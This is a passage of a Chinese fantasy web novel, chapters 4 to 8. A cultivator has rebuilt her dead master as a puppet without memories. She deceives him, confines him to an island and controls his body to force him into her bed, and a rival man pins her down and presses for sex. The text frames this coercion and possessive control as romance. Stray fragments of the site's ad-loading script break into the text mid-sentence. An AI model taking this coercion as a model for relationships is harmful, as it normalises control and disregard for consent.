他颓败无力地抿唇苦笑,他亦不知家族因何遇害,更不知仇人姓甚名谁,身在何方。 即便这名女修对他有所利用,至少她目前不会坑害他,他便暂且顺她,一旦察觉有异,便想办法逃开。 梨渺手托着脸颊,说起她的名字,她便会忆起与师尊初识的那天。 穆忘朝不知她为何一直眼含喜悦地盯着他,他从未被谁人这般对待过,不由得心绪不宁。 他握着小臂感受这副似假非假的身躯,忽然意识到,他的衣裳也被换了一身。 “前……渺渺姑娘,你可曾见到我的包裹?” 梨渺顿时张眸愣住,师尊是回到了年少时,可她又未曾真实经历过,哪知道有什么包裹。 “都、都过去两千三百年了,我四处行走,真有什么包裹,也早便遗失了!” 穆忘朝顿时面色微变,急切道:“其中有一枚绛色玉佩、半张烧焦的符纸,你可记得?” 梨渺顿时领悟,原来师尊记挂的,是他寻仇的信物。 将师尊带离清净门后,她将他的贴身物品都收捡了起来,他的佩剑、还有那枚玉佩,都被她好生藏着。 但那半张符纸,却在数百年前便被毁了。 因为师尊已然手刃了他的仇人。 在他初次与仇人对峙之时,符纸便毁在了战场上。 可是……她该如何向师尊解释呢? “那些东西,对你很重要?”梨渺装作不知,故意问道。 少年眉眼坚定地点了点头。 梨渺无法告知他大仇已报的事实,亦不忍心骗他符纸丢失了,叫他失望。 她悄悄一琢磨,安然道:“莫急,我去帮你找找便是了。” 穆忘朝抿唇点了点头,刚要道谢,少女却忽然拉过他的手臂将他拽起,又一股脑将他推出了房门。 “你离远些,不许进来!”她昂着下巴说完,哐地一声关上门。 穆忘朝:“……” 真是个奇怪的姑娘。 说是几千岁的前辈,可她的言行却与外表一般,当真像是刚及笄的少女,稳重不足,伶俐有余。 她将他隔绝门外也情有可原,毕竟这等年岁的人物,总该积攒了些宝物,不愿叫他人瞧见觊觎。 穆忘朝如是想着,倏然愣住,而后扶额摇头。 他此般猜测才是奇怪,身为男子,他本就不该待在她的房中。 正好,他可趁此机会勘察地形,以备不时之需。 少年快步走出了庭院。 远远听到潮水声时,他忽而心感不详。 而当他小跑至岸边,望见那无边无际的浩瀚大海,他彻底怔在了沙滩上。 那看似江南园林的院墙外,竟是截然不同的一番场景。 与世隔绝的孤岛……他怕是难逃了。 *** 二月十六。 清宵子久违地踏下了凡界。 竹林簌簌,晨曦如水。 分明已至仲春,却是北风料峭,入目清寒。 昔年的穆家宅邸经岁月摧残,已无整形。 人们传言穆家有鬼怪作祟,在穆家出事后不久便搬离了城镇,方圆数十里,几乎没了人烟。 名满修真界的清宵剑尊行在故地,便褪下了加诸于身的光芒,质 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 如璞玉。 他拂去蛛网,缓步走到祠堂,燃上三炷香,颔首合掌。 这祠堂中的牌位,大半都是他亲手供上的。 停留许久,清宵子才离开这伤怀破败之地。 他并不愿就此回到修真界,便漫无目的地行走着,直至望见了另一方城镇。 他无意打搅俗尘,本欲悄然离去,余光却瞥见了梨树下的一个小姑娘。 她瞧上去十一二岁的模样,一身破损的粗麻布衣几乎与树干融成了一体。 清宵子会将目光停留,只因她身上散着不该有的血腥气。 他稳步走了过去,小姑娘察觉到有人靠近,撇过头来看向他。 清宵子停下步伐,略感诧异。 小姑娘的面容倒是出奇干净,像是刚用露水浸洗过,粉颊细润,乌眸清澈,只是眼里无甚光泽。 她那般敏锐,却并未对他展露警惕,平淡的像是看见树上落了一片叶。 清宵子忽然觉得,她不该是这幅破落打扮,而应穿着刺绣精美的粉红衣裳,梳着精巧发髻,在名门望族的府宅庭院里愉快地放风筝。 女孩手中握着一只残了一角的纸风车,掌心的血迹渗透了风车的细木柄。 清宵子看着她手上的血迹,轻轻蹙了蹙眉。 不止手上,她脖颈处亦有几道血痕,像是野兽抓挠所致。 清宵子稍加思索,温和出声:“受了伤,为何还一人在这野外?” 女孩盯着他,似乎只是下意识捂了捂脖颈,而当她将手挪开时,颈上的抓痕已消失不见,只余沾染的血迹。 剑尊微愕,移步上前,俯身牵起她的手腕。 女孩手臂颤了颤,唯在此刻,她蓦然迸发出警惕,当即便要缩回手。 然而剑尊只是稍稍握紧,便叫她无从发力。 女孩如坐针毡,扭身挣扎,却见男子颔首吹拂,轻易便抹消了她手上的血迹。 她目光凝滞,莫名安静下来。 “仙人?” 女孩终于开口说了第一句话。 清宵子看向她写满迷茫与好奇的眼睛,立起了身。 “你叫什么名字?” 女孩讷然摇摇头,停顿一瞬,又呆呆说道:“小妖怪。” 清宵子略有动容,语气怅惘一分。 “莫非你父母家人,亦不在世了么。” “小妖怪”歪起头,瘪着嘴没说话。 白衣仙人垂下眼睫,目光柔和宽厚。 “你并非什么妖怪,你有仙缘。若你愿意,便跟随我去往上界,我会教你修炼之道。” 女孩思索了半晌。 “先生?” 清宵子微愣,想到她许是在学堂附近听来的这个称呼,他不禁莞尔。 “入我门下,便该唤师尊。” 女孩摇摇晃晃地站起,高举起手,将那只染血的缺角风车递向他。 “师尊!” 忽来的风吹拂起少女破烂的衣袖,她俏丽的面容在风车下时隐时现。 剑尊失神接下那只风车,顿觉春寒消散。 他仰面望着散入斜阳的纷飞梨花。 “孤芳落如絮,渺渺无所依。” 轻叹罢,他柔和看向面前的孤女,唇牵淡笑。 “便叫你梨渺罢。” 不谙世事的少女跟随仙人离开了那个她讨厌的地方。 但她向仙人隐瞒了两件事。 她手上本就无伤,那是猎兽啖肉留下的血迹。 以及……她的风车是抢来的。 *** 5. 第 5 章 梨渺掀开床榻,迈进了床底的密室中。 师尊和众同门生前的物品都存放在此,许久都未曾打开。 她翻出那枚绛色玉佩,收进纳戒中,又寻来了纸笔。 连人偶她都造得,区区一张符咒,有何造不得。 梨渺轻易便将纸张改造成了那枚符纸的材质,她回忆着它的模样,在纸上精细描画,而后便操纵火术,将它烧灼成与原件别无二致的形状。 再之后,她再度使用血脉之力,使纸张与墨迹呈现磨损,看上去便像是存放了多年的古物,分毫看不出是新造的玩意儿。 做好这一切,梨渺细细观察着仿品,而后满意收起,回到卧房中,将床铺收整好,悦然推开房门。 院内并没有少年的影子。 梨渺张望一周,轻轻瘪了瘪唇。 她叫师尊离远些,可没叫他远到她看不见的地方。 梨渺御空而起,探寻四周,最终在海岸边望见了少年单薄的身影。 她落地小跑向穆忘朝,望海凝滞的少年在听见后方轻而急的脚步声后堪堪回神,还未回头,便猝然被少女抱住了腰身。 “你跑得这般远,怎么也不说一声,叫我好找。” 梨渺靠在他背上,柔声细语地说道。 穆忘朝整个僵在原地,浑身都不得动弹。 少女纤软的身子就那般毫无顾忌地与他相贴,他下意识要挣开,却不知为何,半点力气都使不上。 失措片刻,他谨慎开口:“前辈……如此这般,是否有失妥当。” 梨渺昂起了脑袋,下巴仍落在他背脊上。 “你唤我什么?” 穆忘朝:“……” “渺渺。” 梨渺欣悦地弯了弯眼角,“我喜欢如此,这般有何不妥?” 少年哑口无言,既是游历四方的前辈,便不会不知男女有别,她是故意如此的。 莫非……她是在拿他寻开心? 梨渺很是窃喜。 在清净门时,她这般抱师尊,会被他轻轻拨开手,而后脑门会挨几下戒尺,再之后她便会在后山关上十天半月的禁闭了。 来到这孤岛后,她再去抱师尊,他虽无法动手,身心却是抗拒的。 而如今的师尊……忘却曾经的不快,对她一无所知,她于他而言不过一张白纸,无师徒之规矩,无过往之芥蒂,他有何理由推开她? 就算他想推开,这副身躯却受制于她的掌控,他照样拒绝不得。 “阿朝,你来这儿做什么?”梨渺清甜问道。 阿朝……穆忘朝指尖又是一颤。 这般甜美的呼唤,似流水般滑进他的胸腔,他禁不住恍惚一瞬。 少女的声音固然悦耳,可他实在无法理解,她为何要对他这般。 “我……随意走走罢了。” 穆忘朝低头看着贴在他腹上的白皙小手,想要将它撇开,悬起的右手却怎么都没压下去。 半晌后,他耐下心中困扰,干脆撇开杂念,刻意忽视掉那些不寻常。 “这座岛……是什么地方?” “此岛无名,连舆图都未曾记录,只知在越州之南。”梨渺说道。 穆忘朝:“越州……” 少女一点头,下巴便在穆忘朝背上挠蹭,又惹得他心慌意乱。 “修真界五大州,越州属最南,又与下方凡界毗邻,凡界启灵之人若有机缘踏入修真界,最先到达的必然是越州。” 不止如此,她与师尊的故地清净门,便设立在越州边陲。师尊喜静,不爱去州中繁华之地,立派千载,含她在内,也仅仅收过十九个弟子而已。 清净门弟子男十女九,梨渺行十六。 虽说师尊耐心教导着每一人,但梨渺相信,师尊对她定是别有青睐的。 穆忘朝望着邈远无际的天海一线,苍青蔚蓝的北方一片空旷,望不见山峦的影子。 “此岛离越州,又有多远?” “唔……五百里,还是八百里……不记得了。” 梨渺抬了抬眉头,忽然松开少年转到他跟前,仰面道:“你想离开?” 她抓住他的手,鼓气道:“你不能走!你是我救回的,要永远待在我身边!” 穆忘朝没料梨渺竟这般敏锐,她突如其来的恼怒叫他不由得心惊,说出的话语更是令他浑身发寒。 即便她当真对他有再造之恩,他也并不认为,她将他永生禁锢合乎情理。 这表面温柔天真的女子,心性终究可怖。 穆忘朝五指攥起,内心一阵腥风血雨。 少顷,他压了压眼睫,扯起浅淡的笑。 “怎么会呢。” 少女舒展眉眼,转瞬便开朗了脸色,如晨辉初放。 她咻地趴进了少年胸怀,环抱着他泠泠笑出了声。 穆忘朝再度僵住,喉头不由自主地哽了哽。 这怪女子捉摸不定、喜怒无常,却出奇得好哄。 而他也着实难以招架。 目光闪烁片晌,穆忘朝灵光忽现,蓦地出声:“渺渺方才……可找到了我的物件?” 梨渺抬眸应声,喜滋滋地将绛色玉佩与半截符纸取出,交到了少年手上。 得回了信物,身体也被释放,穆忘朝不由得松了口气。 “多谢……” 梨渺双手轻握在背后,爱怜地看着这不谙世事的师尊。 连她的作伪都未能辨出,真是天真可爱。 “这小小的物件,我帮你保管了两千余年,现在你可否告诉我,你为何这般在乎它们?” 梨渺语气轻巧,她可不愿师尊总是对她抱着警惕,他若对她吐露实情,便是信任她了。 穆忘朝握着玉佩,悄然静思片刻。 若当真有半分可能,这姑娘正是他的仇家,她便应当知晓他抱有寻仇之心。 若她与穆家灭门之事无关,即便她对他有所图谋,他吐露实情,应当也不会引来杀身之祸。 当下状况,他须得该取得她的信任,令其放松警惕,或许反而能从她口中获取一些情报。 “这些应当是修真界的东西,渺渺可认识?”穆忘朝冷静反问道。 梨渺毫不犹豫地摇头,发绺摆得像是拨浪鼓的线绳。 穆忘朝:“……” 回答得如此干脆,是当真不认识,还是刻意隐瞒? 他沉下双肩,垂眸道:“不久前我外出归家,却见宅邸被烧毁,全家上下……连同丫鬟小厮都死于非命,无一人幸存。” “厅堂之中,唯有这两样陌生之物,我猜测此乃凶手不慎遗留,便寻上了修真界。” 少年情绪低沉,一时又沉浸在惨案的打 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 击中,无法回神。 梨渺抿着唇,对她而言,那是她曾听过的极为久远的故事。 但对此刻的师尊而言,却是数月前亲历的真事。 曾经师尊对她讲述时,她因他哀凉而揪心,却不知悲痛为何物。 如今她失去过师尊一次,好似能够体会他因何执着了。 “你如何知晓,凶手来自修真界呢?”梨渺的声音少了俏意。 少年眸光凝聚,显出一分凌厉。 “能做到那种程度,非修真者所不能及。” 良久,他松下神色,低声道:“家中除我之外,还有两位启灵者,我兄长更是力大惊人,寻常人伤不得他们。” 梨渺配合着点点头,“如此说来,你的猜测没错。” 穆忘朝长吐一口气,宁静观察着梨渺的神色,温声道:“我须得找出那凶手,血债血偿。” 梨渺面无表情,眼眸透亮,“所以,你想到陆上去。” 这回她如此镇定,倒令穆忘朝意外。 他几度确认她眼神之中并无不悦之色,方郑重点下了头。 梨渺歪起脑袋,眨眼道:“好呀,我陪你一块儿去。” 穆忘朝诧然张了张眼眶,没想到她竟会屈尊随他而去,她当真铁了心,要将他永远拴在她身边么! 梨渺瞧着他的面色,忽而眼波晃动,低声道:“你不愿么?” 看见面前的姑娘忽然委屈,穆忘朝思绪一白,话语当即噎在喉中。 他心绪不定地望着她的眼,莫名被她引住,愈看愈深。 那双琉璃眸底没有半分杂质,仿佛它的主人本就似这般单纯。 他一时晃了神,不知该如何去猜测她。 “……你会帮我吗?” 心底的默想,莫名其妙便说出了口。 梨渺笑容渐开,清美无瑕。 “阿朝想去哪里,想做什么,渺渺都会陪着。” 穆忘朝心底一颤,如此真挚的话语,叫人难以抗拒。 “为何要这般对我……”他喃喃出神。 梨渺温柔了目光。 “只要你在,便没有原因。” 少年怔住,袖中的指尖用力掐着手心,逼迫自己保持清醒。 他须得坚信,这世上不会有人耗费千百年心血救他回魂、甘愿为他入世,而别无所求。 可少年不知,眼前的少女自生命伊始,便是一无所有。 既然此岛距离陆地有数百里之远,又未记录在舆图之上,等待船只经过的可能性便微乎其微,而他若私自造船,势必会被她察觉。 穆忘朝思来想去,要渡过海域,他大抵只能依靠这姑娘了。 “渺渺,我们何时能启程?” 梨渺望着他清明的双眼,负手踮了踮脚尖,随意道:“你便如此急不可耐?” 离开这座岛,入了尘世,她与师尊独处的时间,便会无可避免地少去了。 少年抿了抿唇,低声道:“我须得修行习艺,方有力量复仇。那厮也不知是哪般境界,我一介凡胎,光阴有限,耗费不得。” 梨渺安静地注视了他半晌,忽地坦然出声:“你说得不对。” 穆忘朝疑惑抬睫。 梨渺握住他的手,放在脸旁轻轻贴上。 “你忘啦,你是人偶,人偶是没有寿命的。” 6. 第 6 章 少年蓦然怔愣,思绪仿佛飘到了另一方世界。 原来他如今的身体,与他认知中差别如此之大。 他是否还算是一个“人”? “而且,阿朝再如何修炼,都无法获得修为。”少女摇头道。 穆忘朝瞳孔微颤,语气稍急一分,“这又是为何?” 少女用脸颊蹭蹭他的掌心,穆忘朝蓦地感到一阵酥养自手心蔓至心脏,叫他断了思绪。 梨渺旋而倩笑,神色沉溺,两枚虎牙尖透着莹白光泽。 “因为阿朝的灵根,是以自身灵根为基塑造的伪灵根,它虽足以支撑你修炼仙法……唔,却无法让你晋升。” 她以极为寻常的语气,笑吟吟说着其间内情。 而穆忘朝却备受打击。 他愕然涣散了目光,出声讷讷:“如此……我便永远无法追赶上那人……” 即便他出身凡界,却也知晓,修行之道并非坦途,不同境界之间,实力天差地别。 他永远无法成长,就算能修炼仙法又如何,不过是在他空虚内核之外,镀上一层一揉即碎的金箔罢了。 少年身形萧瑟,神情如将碎之薄冰,恍恍惚好似魂离,梨渺拨弄他的手指,他都仿若未觉。 梨渺兴趣盎然地盯着他,失落的师尊是新鲜的模样,她要将他的所有姿态都好好记下,再于睡梦中相会。 等待了许久,少年依旧沉默无言,梨渺对自己的玩弄感到倦了,团握着他的手,轻盈开口:“但你不必担心那些事,不过是解决掉一个仇人,我可以帮你。” 少年收回目光,沉默良久,黯淡地笑叹一声。 “寻仇一事,又岂能由他人代劳。” 梨渺:“那我给你力量,如此你便能亲手杀掉他了!” 穆忘朝狐疑地看向她。 少女的语气不容置疑,眼神更是理所当然,盯不出半点玩笑之意。 梨渺弯了弯眸,“我以血气为引铸造了你的身躯与筋脉,你我之间,已然烙下血契刻印,何况你的灵根乃是我体内的复制品,我的力量,皆能为你所用。” “若是不信,阿朝大可一试……炼气运灵之法,你应当会的吧?” 穆忘朝将信将疑,她说得如此轻松笃定,不似戏弄他的模样。 他低头看向自己的右手,犹豫地活动着五指。 他四岁启灵,七岁成功引气入体,因不知后续修炼之法,境界始终维持在炼气初期。虽未习过术法,但仅仅是运转体内灵力,他已然熟稔。 穆忘朝尝试着以他曾经领悟的法门调动灵力,忽然一股磅礴之力冲出丹田,顷刻流窜至筋脉之间。 他惊诧不已,如此强大的力量,他从未体会,更不知如何控制,只觉体内混乱非凡,那力量好似要破躯而出。 梨渺见他挣扎扼制的模样,亦是吃了一惊,她从未考虑过,初出茅庐的师尊会无法控制她渡给他的力量。 若是将她好不容易塑造的身躯给撞坏了,那可就糟糕了。 梨渺当即凝神控住少年体内的灵力,暗中将它收回了些,穆忘朝寻到喘息之机,当即将那沸腾的力量抛向海上,海面登时发出轰响,巨浪翻腾百丈。 穆忘朝吃力呼吸,望着那滔天巨浪重新落入海中,激起阵阵潮涨,他心惊不已。 不过是借了他一分力量,便有如此威力,远非炼气期所能及…… 梨渺噙着笑,悄挪一步站到他身边。 “我已至元婴中期,虽算不得顶尖,在修真界中也能够格被称一声真君,要护你这小小少年,绰绰有余。” 梨渺不禁泛起一丝窃喜,曾经总是师尊庇护着她,如今,轮到她来细心照看这“小家伙”了。 穆忘朝心思仍困在方才的惊险一刻中。 那时灵力失控,他躯壳都好似要裂开,却在某一刻忽然轻松大半,才叫他得以制住那份灵力。 他侧首觑向梨渺。 是她默默出手救了他么…… “我当真是你的傀儡……”少年呆滞低喃。 “我对你,可不曾有过半句假话。”梨渺说得毫不心虚。 穆忘朝动了动唇,没能出声。 他纵是可借渺渺之力行走世间,却是真真正正地受制于她了。 “修真界中人……都有如此本事么?”他低声慨叹。 梨渺睁圆了眼,“当然不是!当今世上,只有我能做到。” 穆忘朝无奈苦笑。 看来,他成了世间独一的那个。 ——唯一不幸被制成傀儡之人。 梨渺目珠轻转。 “可惜阿朝对灵力的控制还大有不足,如此可没法应对危险。” “所以……须得我亲手教导才行。” 如此,师尊便能留在这岛上陪她,再不会分心给旁人。 穆忘朝深吸一口气缓缓散出,眼眸映着海上波光,纵是摇曳不止,其下埋藏的却唯有虚无。 他不知自己是否该将这陌生的女子视作同伴。 可眼下他别无选择。 少年转身面向梨渺,端平手臂,郑重而谦逊地躬身施礼。 梨渺稍稍抬睫,不经意泛出粼粼眸光,她喜悦展颜,上前半步,捧住了穆忘朝交叠的手。 “你想学哪般技艺,我也能教你的!” 穆忘朝身子一顿,他这一礼未毕,便又被她捉去了手,她便这般喜欢触碰他么。 他对姑娘家的亲密举动十分不适应,但这位渺渺姑娘,他怕是说不过她的。 “你可喜欢剑术?习剑如何?虽说我用剑并不趁手……但教你也足够了!” 梨渺自顾自地追问。 穆忘朝看向她洋溢着勃勃兴致的小脸,默默想道,他好似并没有拒绝的余地。 “全凭阁下做主。” 梨渺盈盈一笑,撇开他的手,顺势一滑便溜进他的怀中。 穆忘朝心下一震,猝不及防后撤半步,险些失足。 少女餍足依偎在他胸膛,他眼神闪躲,手足无措,两臂半悬在身侧,抱也不是,不抱也不是。 “……渺渺姑娘,这又是何意?” 梨渺浅笑着聆听人偶胸腔内的动静,那颗伪造的心脏终于失了平稳无波的律动,时缓时急,分外活跃。 “我在教你……如何稳住灵力呀。” 梨渺将手轻落在他的胸口,指尖轻捻摩挲,平常得如同在擦拭一只玉瓶。 穆忘朝却是绷紧了身子,气都不敢出,他发誓,若此身仍为凡胎,此刻定已是冷汗涔涔。 鲜活的师尊,果然比那死闷的人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 偶更加讨人欢心。 梨渺沉溺其中,指腹缓慢下移,刚勾画过两寸,手便被少年夺去。 她泰然昂首,少年将她的手紧攥在胸前,薄唇紧珉,墨瞳透露不安。 “……当真要如此么。”他低哑出声。 梨渺眼眸如水:“不过区区触碰,阿朝都耐不住,又如何有那毅力掌控我渡来的灵力呢?” 穆忘朝谨慎地凝视着她,她所言看似有那么一分道理,可这两件事……怎能拿来相提并论。 僵持许久,穆忘朝还是没能熬过少女殷切又期待的眼神,他垂下面容,默然松开了手。 梨渺微不可察地弯了弯眼角,纤手轻抚而降,最终落在了少年小腹。 穆忘朝袖中十指不自觉用力握紧。 他从不知自己竟会因旁人的触碰如此失态。 即便隔着两层衣物,少女指尖划过的每一寸,都叫他感到肌肤灼热,内息如那海潮纷乱,越是忍耐,越是怪异。 他尽力稳住呼吸,恍然意识到,并非是他错估了自己,而是因为,他所控所感,已非他原有的身躯。 新的躯体会因他人触碰产生怪异的变化,而他对此束手无策。 梨渺好似对少年的难捱一无所觉,她引出他丹田灵力,温和引入经脉。 “记住这份感觉,待你彻底熟悉这股灵力,与其意念合一,便可以无境之躯,爆发出元婴之力。” 穆忘朝听着少女的轻语,莫名感到宁静了一分。 灵力经由其引导,如溪流般浇灌至奇经八脉,安抚着那份难以启齿的焦躁。 半晌过后,穆忘朝好似沐浴在了清水里,身体轻盈非常。 他终于能够重新向梨渺投去目光,少女耐心的模样尽收眼底,他忽而出神。 如今这世上,又有谁能这般专注而温柔地待他。 他宁可相信她为他所做的一切,仅仅是出自善心。 许久过后,梨渺依依不舍地支起身,略微耸了耸肩。 “分给你的这点灵力,足够你练习一阵了。待你熟悉之后,我便多给你些。” “多谢你……如此慷慨。” 穆忘朝迟疑说道,心绪复杂。 梨渺面若桃花,牵起少年的手,但笑不语。 仙人落了凡尘,真是新鲜的体会。 惟愿师尊永远不要忆起清净门,她要他再依赖她一些,再迷恋她一些,根本离不开她。 少年一句请求,梨渺便陪他走遍海岸,看那云霞如泼墨写意,潮水似生灵呼吸。 穆忘朝远望着垂落的半轮圆日,叹息悄然飘入风中。 果然,这孤零零的小岛无论从何处眺望,入目都唯有天海。 岛上也仅有那一处宅邸,再没了旁人。 梨渺将他的神色都看在眼里。 她那般了解师尊,自然能猜透他的心思。 她便如他所愿,将事实送到他眼前。 师尊你瞧,这无边海域便是天罗地网,凭您一人,如何逃得掉? 梨渺隐去嘴角的愉悦,牵着少年回到了宅院。 对梨渺不时拉手的举动,穆忘朝仍有些别扭,却只能说服自己淡定接受。 他一路失神,直到他半步迈入了梨渺闺房,他猛然回神,生生扼住了脚步。 7. 第 7 章 梨渺扯他不动,回过身来疑惑看向他。 “阿朝?” 穆忘朝蓦地眨眼,面露难色。 “你的卧房……我不该踏入。” 梨渺理所当然:“我就是在这儿将你一块一块拼了回来,算起来,你都陪过我许久许久了,还有何该不该。” 穆忘朝错愕启了启唇,“……我从前神志未醒,不可同论。何况……现在是晚上。” “没错,到了晚上,阿朝便该陪渺渺安寝了。”梨渺坦然点头。 穆忘朝:“!” 若说先前少年的脸色只是为难,此刻他的脸上,却实在称得上惊恐了。 梨渺侧歪了半截身子,脑后的发绺拂过肩头,垂落在身前。 她定定看着他,眼中没有半分情绪。 穆忘朝当即感到一股无名之力笼罩在他的全身,迫使他迈开脚步,踏进了闺房之门。 他瞳孔微缩,是他的“主人”在命令他的身体回应指示,而他对此无能为力。 少女湖水般清澈的双眸在他眼中,忽而多了一丝可怖意味。 房门兀自关闭,阻绝了流溢的晚风。 梨渺扇动眼睫,旋而弯眸透出光彩,仿佛方才凝滞的刹那只是穆忘朝的错觉。 她嬉闹般将他拉去了榻上,穆忘朝回神之时,身子已躺在了梨渺旁侧,僵得如一具木雕。 傀儡果真是傀儡,浑身缠绕无形丝线,被塑造者牢牢掌控在手心。 穆忘朝心惊,懊恼,却又无奈。 梨渺将身边人抱了个满怀,浑身洋溢着悦色,低笑声如铃,好似得了糖的顽童。 曾经日夜挂念却都未能了却的心愿,今日竟这般轻易实现了。 同枕共眠,方为夫妻。 这是否完成了昔年未竟的大婚之礼呢…… 穆忘朝的肢体被那姑娘禁锢,他丝毫不敢动弹,只能哽着喉头,目光在上方飘忽游移。 然而不过片刻,他便听到了梨渺舒缓的呼吸,环抱着他的双臂也略松了一分。 ……她居然就这般轻而易举地睡着了。 穆忘朝心中古怪,却也如释重负,难得松了口气。 至少在夜晚,她能够安静下来,让他不必再紧绷着神思。 穆忘朝侧首看向靠在他肩头的那只脑袋,少女面颊莹润,靠得这般近,都瞧不出肌肤的半点瑕疵。 他是她造出的人偶,但此刻穆忘朝却觉得,她才像是一具巧夺天工的瓷偶,唯有神仙才有技艺雕刻出这般模样。 过了许久,穆忘朝方觉他竟看得入神,不由得失魂恍惚。 再完美的表象,也无法掩盖他受制于她的事实。 无论她如何待他,他都需守住最后一分清醒,不可令其磨灭。 穆忘朝挪出左臂,小心翼翼地握住少女的手腕,想要将她放平至一旁,可他刚一动作,梨渺便蓦地箍紧手臂,反将他抱得更严实了。 “……!” 穆忘朝心下一跳,刹那的混乱之间已想出了数条说辞。 好在梨渺只是有所动作,却并未醒来。 穆忘朝无奈轻叹,这下即便渺渺姑娘安静一夜,他恐怕也不得安宁了。 “师尊……” 肩头的少女发出迷蒙的呓语。 穆忘朝略微一怔,稍停的心跳旋即又恢复了枯燥的平稳。 原来她在梦中,还会念着旁人。 “你究竟所求为何……” “又想从穆昭身上得到什么呢……” 少年的喃喃自语,化作梨渺的梦中风,吹散在了她与清宵子相拥而憩的草坡上。 翌日,海浪渡来了白衣男子飘逸的身影。 今歌白手提着两摞油纸包,一想到又将见到梨渺的面容,便情不自禁扬起了唇角。 他轻车熟路地穿过树林与庭院,来到梨渺的房门前,柔声问候:“阿渺,醒了么?” 室内,穆忘朝一夜未能入眠,听到门外陌生男子的声音,他登时浑身警惕,飘散的意识瞬间凝聚,在脑中喧嚣。 ……这孤岛之上,竟还有旁人?! 梨渺半梦半醒地支起脑袋,迷迷糊糊看着身侧少年戒备的脸,含混道:“是你在唤我么……” 今歌白听到梨渺朦胧的细语,登时眼眶微张,阿渺这般语句,定不是对他说的。 他当即推开房门一步跨入,凝眸便见两道身影凑在床榻上,少女一手撑着那人偶胸膛,若依若离,天然妩媚。 今歌白瞳孔骤缩,忽而怒气腾天,引得屋外风叶呼啸作响。 梨渺揉了揉眼清醒过来,她忽而展颜望着今歌白。 “白哥哥,你回来啦!” 她一边呼唤着,一边溜下榻,赤足小跑到白衣男子跟前,握住他的手,看着那油纸包眸泛晶光。 “这回又给我带了什么好吃的?” 听见少女清甜的言语,今歌白满腔怒火像是淋上了一场疾雨,顷刻偃旗息鼓。 他抿唇凝视着她的头顶,心头既是愤懑,又是不甘。 叫他目睹了这幅场景,她如何能做到如此坦然…… 穆忘朝呆滞立在床边,岛上会出现第三人这件事,他毫无准备。 那白衣男子毫无疑问乃是修真高手,自他踏入这房门起,对他的敌意便如水瀑般未曾消停。 连他都能看出,那白衣前辈对渺渺姑娘定然爱慕之情,否则他不会如此愤怒。 可渺渺姑娘却对此般怒火仿若未觉,真是奇怪…… 思索一瞬,穆忘朝认为这其间需要给出一个解释。 “前辈应当有所误会……” 少年话音未落,今歌白便冷厉出声:“如何有你说话的份?” 穆忘朝双目微震,凝眉止言。 此人不好相与。 他一介死而复生的无境傀儡,在高人眼中,便与下等器物无异。 或许他不该在此刻开口。 “白哥哥,你怎的对……对阿朝这般凶。” 梨渺撅唇不满,无疑又添一把火。 今歌白眼角顿抖。 ……阿朝? 梨渺仿佛这会儿才意识到大事不妙,握着今歌白的手转身对穆忘朝柔柔说道:“阿朝,你先出去走走,我一会儿再来找你。” 穆忘朝目光犹疑地落在梨渺的脸上,她春风拂面,笑靥如花,他却觉着这方寸之间充斥着怪异。 他端臂行了一礼,快步走出房间,踏入日光的一刹那,他只觉周身阴雷般的气息骤然散去,好似遁入了云霄虚渺之境。 渺渺姑娘的心性,愈发叫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人捉摸不透了,他们究竟是何人…… 穆忘朝摇了摇头,他与渺渺相处不过一日,他又如何能看懂她。 他望着前方屋檐上停歇的鸥鸟,长舒一口气,漫步走出庭院。 屋内,梨渺轻晃着今歌白的胳膊,细声道:“白哥哥,你生气了。” 今歌白双目晦暗不明,看着梨渺撒娇,却半点也高兴不起来。 “好你个阿渺,我才离开几日,你便将那傀儡招上枕席了。” 男子勾唇冷笑道。 梨渺顶着那阴霾之下的闷雷阵阵,长睫如碟翅轻颤。 她低声嘟哝:“师尊本就要做我夫君的……” 今歌白眯了眯眼角,轻飘飘拽离了手,将油纸包放到了桌上。 “你同他圆房了?” “嗯!”梨渺笃定点点头。 今歌白指尖落在桌沿,逐渐按得用力。 “可真快啊……” 他语气阴沉,几乎是从牙根里碾出来的字眼。 却未想到少女对“圆房”的认知,与事实颇有差池。 “白哥哥……” 梨渺关忧走上前,忽然视线一阵翻旋,她被扼住手腕、牢牢按在了桌上。 今歌白倾身俯首,唇角微抬,墨发在她耳旁缭绕。 “既然阿渺夙愿已结,便帮哥哥也了却心愿如何?” 梨渺倏地睁圆了眼,男子眸底执欲如井水漫发,自周身千面动摇着她的五感神识。 此般危险之意,梨渺头一回体会。 她不知他想如何,只遵循本能地摇了摇头。 今歌白双瞳微缩,眯眸又凑上前一分,出声幽凉又魅惑。 “与他做得,与我便做不得?” “少了雀阴一魄,他又能滋养你几回,我来做你夫君,定比他要强。” 梨渺行动受缚,只觉得此刻二人间的氛围无比怪异。 她琢磨着今歌白的话语,道:“原来白哥哥还是为了这件事。若渺渺多出一个夫君,师尊会不高兴的。” 今歌白胸中有气,却无处释放,他五指无意识缩紧,直到身前少女轻吭一声,他如闻晨钟,松了她的手腕。 他心底无奈,他都这般待她,她为何如此坦然,云淡风轻地便将他厌烦的那人又搬了出来。 “不要他如何想,我只想知道你的心思。” 男子眸中汹涌尽数掩去,浓雾迷蒙,叫人看不清明。 梨渺呆愣着思索,许久都未作反应。 今歌白指尖勾勒她的脸,抚至脖颈时轻捏着下颏抬起,细腻而沉浸地端详。 “不做夫妻,只做情人也好。” 他笑意氤氲。 “哥哥会是一个好道侣。” 梨渺任他抚面撩发,她只讷着眼思考她的答案。 暧昧之气溢满卧房,许久之后,梨渺终于想通。 师尊又岂是寻常人,世理所论的,未必可加诸师尊。 “白哥哥也想入阿渺的枕席吗?” 梨渺突然的发问叫今歌白冷不丁顿住了思绪。 “……” “当然。” 今歌白目光化开,内心止不住鼓动,掌心覆上她的脸,兴奋欣悦又情意绵绵。 “阿渺……你答应了么?” 8. 第 8 章 梨渺寻思着,她不愿师尊难过,亦不想白哥哥气闷,既然白哥哥愿意放弃夫君的地位,那师尊是否也能接受他? 